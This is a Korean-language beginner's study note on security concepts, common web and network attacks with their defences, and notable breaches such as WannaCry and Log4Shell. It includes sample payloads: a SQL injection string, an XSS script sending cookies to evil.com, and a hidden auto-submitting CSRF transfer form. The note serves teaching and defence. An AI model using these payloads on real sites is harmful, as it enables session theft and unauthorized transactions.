보안이란?
보안(Security)은 시스템, 데이터, 네트워크를 무단 접근·변조·파괴로부터 보호하는 일련의 기술과 정책.
크게 세 가지 목표로 정리됨.
목표 | 영문 | 의미 |
기밀성 | Confidentiality | 인가된 사람만 데이터에 접근 |
무결성 | Integrity | 데이터가 허가 없이 변조되지 않음 |
가용성 | Availability | 필요할 때 언제든 서비스 이용 가능 |
이 세 가지를 합쳐 CIA Triad라고 부름.
해킹이란?
해킹(Hacking)은 원래 시스템의 동작 방식을 깊이 이해하고 창의적으로 다루는 행위를 의미했으나, 현재는 취약점을 악용해 무단으로 시스템에 침입하는 행위를 주로 지칭.
해커의 분류
분류 | 별칭 | 설명 |
White Hat | 화이트햇 | 기업 의뢰를 받아 합법적으로 취약점 진단 |
Black Hat | 블랙햇 | 악의적 목적으로 시스템 침입 |
Gray Hat | 그레이햇 | 허가 없이 침입하지만 악의는 없음 |
주요 공격 유형
1. SQL Injection
개념: 입력 값에 SQL 구문을 삽입해 DB를 직접 조작하는 공격.
-- 정상 쿼리
SELECT * FROM users WHERE id = '입력값';
-- 공격 입력: ' OR '1'='1
SELECT * FROM users WHERE id = '' OR '1'='1';
-- → 조건이 항상 참 → 전체 데이터 노출
SQL
복사
방어: PreparedStatement / Parameterized Query 사용.
// Bad
String query = "SELECT * FROM users WHERE id = '" + input + "'";
// Good
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
ps.setString(1, input);
Java
복사
2. XSS (Cross-Site Scripting)
개념: 악성 스크립트를 웹 페이지에 삽입해 다른 사용자의 브라우저에서 실행시키는 공격.
<!-- 공격자가 입력하는 값 -->
<script>document.location='https://evil.com?cookie='+document.cookie</script>
<!-- 피해자 브라우저에서 실행 → 쿠키 탈취 -->
HTML
복사
방어: 입력값 이스케이핑 (< → <), Content Security Policy(CSP) 설정.
3. CSRF (Cross-Site Request Forgery)
개념: 인증된 사용자를 속여 의도하지 않은 요청을 서버에 보내게 만드는 공격.
<!-- 악성 사이트에 숨겨진 폼 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000000">
<input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit();</script>
HTML
복사
방어: CSRF Token 발급, SameSite 쿠키 설정, Referer 검증.
4. Brute Force & Dictionary Attack
개념: 가능한 모든 조합을 시도하거나(Brute Force), 흔한 비밀번호 목록을 대입(Dictionary Attack)해 계정을 탈취.
방어: 로그인 시도 횟수 제한, CAPTCHA, 계정 잠금 정책, 강력한 패스워드 정책.
5. Phishing (피싱)
개념: 신뢰할 수 있는 기관을 사칭해 민감 정보(계정, 카드번호 등)를 속여 빼앗는 공격. 이메일·SMS·가짜 사이트 활용.
방어: 이메일 발신자 도메인 확인, URL 검증, MFA(다중 인증) 적용.
6. DDoS (Distributed Denial of Service)
개념: 수많은 봇넷(감염된 PC)으로 특정 서버에 대량 트래픽을 보내 서비스를 마비시키는 공격.
방어: CDN·WAF 사용, 트래픽 필터링, Rate Limiting, 클라우드 DDoS 방어 서비스(Cloudflare 등).
7. Man-in-the-Middle (MITM)
개념: 통신하는 두 당사자 사이에 끼어들어 데이터를 도청·변조하는 공격.
방어: HTTPS(TLS) 적용, 인증서 핀닝(Certificate Pinning), HSTS 설정.
8. Zero-Day Attack
개념: 아직 벤더(개발사)도 모르는 취약점을 악용한 공격. 패치가 존재하지 않아 방어가 극히 어려움.
방어: 이상 행동 탐지(EDR/XDR), 최소 권한 원칙(Principle of Least Privilege), 신속한 패치 관리.
실제 유명 해킹 케이스
2014 — Sony Pictures 해킹
•
공격자(북한 연계 그룹 추정)가 내부 네트워크 침투
•
미공개 영화, 임원 이메일, 직원 개인정보 대규모 유출
•
랜섬웨어 유사 악성코드로 수천 대 PC 파괴
•
교훈: 내부망 분리 미흡, 권한 관리 실패
2017 — WannaCry 랜섬웨어
•
NSA가 개발한 EternalBlue 취약점(Windows SMB) 이용
•
전 세계 150개국, 30만 대 이상 PC 감염
•
병원·공장·통신사 등 핵심 인프라 마비
•
교훈: 패치 지연의 위험성, 네트워크 세그먼테이션 필요
2020 — SolarWinds 공급망 공격
•
IT 관리 소프트웨어 SolarWinds Orion의 업데이트에 백도어 삽입
•
미국 정부 기관 및 포춘 500 기업 수백 곳 침투
•
수개월간 탐지되지 않음
•
교훈: 공급망(Supply Chain) 보안의 중요성
2021 — Log4Shell (Log4j 취약점)
•
Java 로깅 라이브러리 Log4j의 JNDI Lookup 기능 악용
•
원격 코드 실행(RCE) 가능 → 인터넷의 수억 개 시스템 영향
•
CVE 점수 10.0 (최고 심각도)
•
교훈: 오픈소스 의존성 관리의 중요성, SBOM(소프트웨어 자재명세서) 필요
방어 핵심 원칙 요약
원칙 | 설명 |
최소 권한 원칙 | 필요한 최소한의 권한만 부여 |
심층 방어 | 단일 방어선이 아닌 다중 레이어 구성 |
입력 검증 | 모든 외부 입력은 신뢰하지 않고 검증 |
암호화 | 전송·저장 데이터 모두 암호화 |
빠른 패치 | 취약점 발견 즉시 업데이트 적용 |
모니터링 | 이상 징후 실시간 탐지 및 대응 |
알아두면 좋은 영어 용어
용어 | 의미 |
Vulnerability | 취약점 |
Exploit | 취약점을 악용하는 코드/기법 |
Payload | 공격 시 실행되는 악성 코드 |
CVE | 공개 취약점 번호 체계 (Common Vulnerabilities and Exposures) |
Penetration Testing | 모의 해킹 테스트 |
Attack Surface | 공격 가능한 진입점의 총합 |
Threat Actor | 공격 주체 (개인, 국가, 조직 등) |
IOC | 침해 지표 (Indicators of Compromise) |

